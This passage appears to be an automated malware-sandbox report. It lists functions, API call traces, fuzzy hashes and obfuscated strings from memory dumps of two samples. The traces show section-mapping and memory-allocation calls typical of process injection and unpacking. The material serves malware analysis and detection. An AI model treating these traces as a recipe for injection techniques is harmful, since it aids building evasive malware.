Instruction Fuzzy Hash: B002B572F109298BDF04CF68E8503ECB7B2FBD8325F65866AC822B7290C7756905CB54

Uniqueness

Uniqueness Score: -1.00%

Function 006512AE Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703174858.000000000064E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0064E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_64e000_5Yzloz244r.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: ab11baedb07dbe800f0690121475652fcf33d8d8837736ebb1676eea86f96b89
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 72117C72340100AFDB44DF55DC91FA673EAEB89321F298069ED08CB712E679E842C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 005D0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1703009629.00000000005D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_5Yzloz244r.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 33b62e3fa8d9d576bc60db09173d9c203964da0be1d618487df522382980e989
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 8D01A7766006048FDF31DF68C804BAB37FAFB85316F4544ABD506973C2E774A9418B90

Uniqueness

Uniqueness Score: -1.00%

Function 004023E5 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction ID: d35cd02017a8908298582cacd0956aff43537afd2df8e264233619bb44fb754d
Opcode Fuzzy Hash: c0f638128aba8f2e57abeaf16cd5152cf31c34a5a8aefa37a689e9950b3c5785
Instruction Fuzzy Hash: 82C08C72D960008AE65BC6908A87644BB33F003830B341F2DC5018F126D272C2178220

Uniqueness

Uniqueness Score: -1.00%

Function 004026A0 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1702753243.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5Yzloz244r.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction ID: b8708e0fd601c17419c4bee628408aeaf70cc106fe2e9d70b960fe5b7e9fb35e
Opcode Fuzzy Hash: 43de6de374997940977aed32f8962cbc5b01e7d76103009d4fd772cc687ca080
Instruction Fuzzy Hash: 0DC02B7308020940C754CE701A0010CF2D09555208F31FD234005FF182D260F1C755C2

Uniqueness

Uniqueness Score: -1.00%

Function 0042270B Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00422731

Part of subcall function 00422520: __fltout2.LIBCMT ref: 0042254B

__cftog_l.LIBCMT ref: 00422757
__cftoe_l.LIBCMT ref: 00422789

Memory Dump Source

Source File: 00000000.00000002.1702776908.0000000000413000.00000020.00000001.01000000.00000003.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_413000_5Yzloz244r.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction ID: 97d3d4b89d9bc03ca2b4a0912c81638b7047093d37974e3c5d68450736a6ad3d
Opcode Fuzzy Hash: 843931e506ad9f7667999f9533ecfb8930c9daf0a1febf59d810d17d1cd26479
Instruction Fuzzy Hash: 8111833210405EBBCF125E84ED41CEE3F23BB58354B988516FE1859131C37AC9B2AB86

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: jjdjbtcPID: 5228, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	4.7%
Dynamic/Decrypted Code Coverage:	18.7%
Signature Coverage:	0%
Total number of Nodes:	155
Total number of Limit Nodes:	4

Executed Functions

Function 00401553 Relevance: 10.7, APIs: 7, Instructions: 208
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction ID: ffaca3094f7e189a6d1e876f152d3a102a579446f97b5118db7f8e4db1241ca1
Opcode Fuzzy Hash: 1cdcbea8673e3ba493c5bd81f578c50c028e74630b806944f59cf8ede5196817
Instruction Fuzzy Hash: FB613075A00204FBEB209F91CC49FAF7BB8EF85700F10412AF912BA1E5D7759941DB66

Uniqueness

Uniqueness Score: -1.00%

Function 0040156B Relevance: 10.7, APIs: 7, Instructions: 176
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction ID: bfc0b8c1e1aad88884ae744cc722ee3a04b4b25e2f03b0569bf5ee1b63965b96
Opcode Fuzzy Hash: c2bbe74deda3eb27cc46c97da06047b5daec93b008bb2466c6e516ff61897217
Instruction Fuzzy Hash: 34512B75900205BBEB209F91CC49FAF7BB8FF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 00401561 Relevance: 10.7, APIs: 7, Instructions: 175
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction ID: 412e9309e7daddaa9b19f32dddfbffbd79934f2f1d3bc440b9a7152e2b53a84f
Opcode Fuzzy Hash: f5d4f3e6d24d18269c7d341504c2ba3eacb72c3278c0acdc5b4cfb2713eaeaae
Instruction Fuzzy Hash: 235119B1900205BFEB209F91CC49FAF7BB8EF85B00F14412AF912BA2E5D7759941CB25

Uniqueness

Uniqueness Score: -1.00%

Function 0040156F Relevance: 10.7, APIs: 7, Instructions: 172
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction ID: 5723072b253cbae10e330d7def6e8ce5ab34414c0c11206194204dab9df800f9
Opcode Fuzzy Hash: 8d7d0f05522378b87eb0e5b73b0488eef97448bc713828db65d76f104e18ff93
Instruction Fuzzy Hash: 6A5109B1900205BBEB209F91CC49FAF7BB8EF85B00F144129FA11BA2E5D6759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 171
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction ID: be4f3395432beacb56dc40f225edc855b7308e08cbc6b66c5e1fe0de6445bc19
Opcode Fuzzy Hash: bd72895939b5cf7358d34c5469aba93b22efce73c39120c4875d5ae9870c0d64
Instruction Fuzzy Hash: D6510BB1900205BBEB209F91CC49FAF7BB8EF85B00F14412AFA11BA2E5D7759945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401587 Relevance: 10.7, APIs: 7, Instructions: 166
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401667
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401685
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction ID: c9324331886a871ff7b65cfc1a3adde32c11ca3f72b54674233341407885f4d3
Opcode Fuzzy Hash: 1ec31b479fd08731287e8d0e55fe4d339ef2a67852c713b723290c7befe848b2
Instruction Fuzzy Hash: 7E511A71900249BBEB209F91CC48FEF7BB8EF85B00F144169F911AA2E5D7759945CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401729 Relevance: 4.7, APIs: 3, Instructions: 179
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016C6
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016F7
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401719

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction ID: bb29a515743844fa426f6922f48e3936f90c9c278b9ffb8c9c9d974ad6050a99
Opcode Fuzzy Hash: b6b7661ceeaa473891237c732f5305db374e8f07cd43916073c5c2763a81e662
Instruction Fuzzy Hash: 69519272904104EBEB249A55CC44FAA77B5FF85700F24813BE842772F0D67C6942E65B

Uniqueness

Uniqueness Score: -1.00%

Function 00420AF0 Relevance: 24.7, APIs: 3, Strings: 11, Instructions: 233
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00433B28,0BB7EA7B,4BBE82DD,2FC43CC7,52860AB1,6AD71B2C,43FE4454,34026A25), ref: 00421368
GetProcAddress.KERNEL32(00000000,0042B3E0), ref: 00421374
VirtualProtect.KERNELBASE(00431A2C,00433EAC,00000040,?), ref: 00421394

Strings

v;^:, xrefs: 00420F48
R'._, xrefs: 00420EF0
:/X, xrefs: 00420E2B
6, xrefs: 00420C68
dFfX, xrefs: 00420E15
O8##, xrefs: 00420D84
U99x, xrefs: 00420C52
)?u, xrefs: 00421205
X2R, xrefs: 00420D1F
o:?, xrefs: 0042118D
F(+, xrefs: 00420BAE

Memory Dump Source

Source File: 00000003.00000002.1941217924.0000000000413000.00000020.00000001.01000000.00000005.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_413000_jjdjbtc.jbxd

Similarity

API ID: AddressLibraryLoadProcProtectVirtual
String ID: )?u$:/X$F(+$O8##$R'._$U99x$X2R$dFfX$v;^:$o:?$6
API String ID: 3509694964-975362989
Opcode ID: 37c8924bac65614699f5b9737f3f444478b234c11193bcd24ad92ebdb7f34883
Instruction ID: fda3282cfb19162525e9fe172743dbd9461822add2cfb557077ef106a4697742
Opcode Fuzzy Hash: 37c8924bac65614699f5b9737f3f444478b234c11193bcd24ad92ebdb7f34883
Instruction Fuzzy Hash: EF02A6B410E385CBD2B09F469689B8EBBF0BB91714F608E0CD6DD1A224CB754589CF97

Uniqueness

Uniqueness Score: -1.00%

Function 0047003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0047024D

Strings

kernel32.dll, xrefs: 0047008F, 00470095
cess, xrefs: 0047018D

Memory Dump Source

Source File: 00000003.00000002.1942372818.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_470000_jjdjbtc.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 16711ddd22fd0413336594a03f00dbfaf066cf36866d812deba6f11f0119f937
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 8D527974A01229DFDB64CF68C984BA9BBB1BF09304F1480DAE50DAB351DB34AE85DF15

Uniqueness

Uniqueness Score: -1.00%

Function 00671741 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00671769
Module32First.KERNEL32(00000000,00000224), ref: 00671789

Memory Dump Source

Source File: 00000003.00000002.1943005542.000000000066E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0066E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_66e000_jjdjbtc.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 98f9172d1529c5b2b1aff263f6a788cc8660ffe9fc75d82faa336199eb170199
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E1F0F6315003106FD7203BFDAC8CBBE76EDAF4A364F10412AE64AD91C0DB70EC454A61

Uniqueness

Uniqueness Score: -1.00%

Function 00470E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00470223,?,?), ref: 00470E19
SetErrorMode.KERNELBASE(00000000,?,?,00470223,?,?), ref: 00470E1E

Memory Dump Source

Source File: 00000003.00000002.1942372818.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Offset: 00470000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_470000_jjdjbtc.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 6b214e80103007eca947940ca629b0f77f36c1fcc8e570edb97f76d7bdc3c18d
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 28D01231145128B7D7002A94DC09BCE7B1CDF09B62F008411FB0DD9180C774994046E9

Uniqueness

Uniqueness Score: -1.00%

Function 004213A0 Relevance: 1.5, APIs: 1, Instructions: 9
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(0042FCB8,00421901), ref: 004213D0

Memory Dump Source

Source File: 00000003.00000002.1941217924.0000000000413000.00000020.00000001.01000000.00000005.sdmp, Offset: 00413000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_413000_jjdjbtc.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8668612106db82164b258e88b4b9dd66b8f2b6f139c2542207fcd6e492a59a19
Instruction ID: b564306bd6104b9c3883b87f80eca8c8b61a5734ae17411576cad50917226234
Opcode Fuzzy Hash: 8668612106db82164b258e88b4b9dd66b8f2b6f139c2542207fcd6e492a59a19
Instruction Fuzzy Hash: 65D0923E76D388C9CB218F26FA09B043A71BB11704BD050B9D8505A262CBB8000FCB5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040193E Relevance: 1.3, APIs: 1, Instructions: 63
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction ID: 4db8ba0b08380255fc5aa34ea3e13561f838480f888933e927f1079a64c57490
Opcode Fuzzy Hash: 71f746a8505fe108ed8da4cdd9973d259565c9a68103dfaed9332816d2b6fe75
Instruction Fuzzy Hash: 9A11CEF120C208FBEB006A959D62E7A3268AB40714F304137BA43790F1D57E8923F76B

Uniqueness

Uniqueness Score: -1.00%

Function 0040194A Relevance: 1.3, APIs: 1, Instructions: 57
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction ID: 0371ecd990254dd767a604aa567081474727263e4e3774a05daf7e54a603023c
Opcode Fuzzy Hash: da38201a32f90b98934b488a65b371e434f1df0c2a04d29242935d2455de016b
Instruction Fuzzy Hash: A901A1B120C204EBDB009A95DD62E7A3364AB40314F30453BBA437A1F1C67D9913E72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 52
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction ID: 3b2e7dc224df146109f963d95c0ead7a9e1b698bafe8296883a7ac19869aede1
Opcode Fuzzy Hash: 5e3dbe5dd20a4fb5b92f76c9b13fda5f390ba4e8200e1751a23b03b4d52e4fb4
Instruction Fuzzy Hash: BA0171B5208204EADB006AD5DD71E7A3269AB44314F304537BA43791F1D57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401973 Relevance: 1.3, APIs: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction ID: 4b03b50232763afd30ab0c608f125a1a80ed78bb00471cf4ed55e3bed959d7b6
Opcode Fuzzy Hash: acb1fae293eb73a10805bbdd55e216ebbc49928181db8483aeacc3243d44ee5b
Instruction Fuzzy Hash: F80184B5208204EBDB006AD5DD71EBA3269AB44354F304537BA43790F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401964 Relevance: 1.3, APIs: 1, Instructions: 50sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388,0000006E), ref: 00401999

Part of subcall function 00401553: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401617
Part of subcall function 00401553: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401644

Memory Dump Source

Source File: 00000003.00000002.1941025287.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_jjdjbtc.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction ID: f592bab324d3cd5d6286c78059ef0a1e8702b22de7bd53a4ec4d5e19e7ef6e8c
Opcode Fuzzy Hash: e5353c19dd0b10c2d892503bd00f36fba5e3f507ee708bcba0cfbdc82fbef293
Instruction Fuzzy Hash: 0D0184B5208204EBDB006AC5DD62EBA3265AB44314F204537FA43791F1C57D8912F72B

Uniqueness

Uniqueness Score: -1.00%

Function 00671400 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00671451

Memory Dump Source

Source File: 00000003.00000002.1943005542.000000000066E000.00000040.00000020.00020000.00000000.sdmp, Offset: 0066E000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_66e000_jjdjbtc.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b2a5e3273ec51813d7bb044d9ed9e845f7a961127e9d370a77f88bf67395cc40
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 28113C79A00208EFDB01DF98C985E98BBF5AF08351F05C095F9489B362D371EA50DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00401987 Relevance: 1.3, APIs: 1, Instructions: 46sleepCOMMON

Download Yara Rule

APIs

